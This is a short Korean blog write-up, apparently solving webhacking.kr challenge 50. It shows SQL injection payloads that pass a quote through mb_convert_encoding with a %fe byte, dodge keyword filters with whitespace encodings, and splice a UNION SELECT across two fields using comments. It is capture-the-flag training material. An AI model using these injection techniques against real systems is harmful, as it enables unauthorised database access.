[그림 1]

소스코드를 확인하자

[그림 2]

45번 문제와 같은 취약점을 이용하는 문제인거 같다. mb_convert_encoding 함수의 취약점을 이용해 '를 사용 할수 있다.

음 그리고 lv=3이면 문제가 풀린다. 문자열 필터링을 잘 피해서 구문을 만들어보면 될거 같다.

 

?id=guest%fe%27%09or%09lv%09like%093--%09&pw=guest

 

이구문을 이용했을때 lv 1과 2는 문제 없이 출력이 되었으나 3이 제대로 출력되지 않았다.

[그림 3]

고민끝에 lv = 3이 존재하지 않을 수도 있다 라는 결론에 도달했다.

 

union을 사용하고자 하였으나 id에서는 union을 필터링 한다.

id부분에서 union을 우회하려 하였으나 생각했던 방법도 필터링이 되고 있었다. union을 pw에서 사용해야 될것 같다.

md5부분이 신경쓰여서 그냥 이부분을 씹을 방법을 모색하였다. 주석을 이용하여 씹도록 하였다.

 

?id=%fe%27/*&pw=*/%0aunion%0aselect%0a3%23

이 구문을 쿼리문에 넣어보면

 

select lv from chall50 where id=''/*' and pw=md5('*/ union select 3 #')

 

select lv from chall50 where id=' ' union select 3

이렇게 된다.

[그림 4]

'Challenge > webhacking.kr' 카테고리의 다른 글

Webhacking 53번 문제 풀이  (0) 2020.02.19
Webhacking 51번 문제 풀이  (0) 2020.02.19
Webhacking 49번 문제 풀이  (0) 2020.02.18
Webhacking 48번 문제 풀이  (0) 2020.02.18
Webhacking 47번 문제 풀이  (0) 2020.02.17

+ Recent posts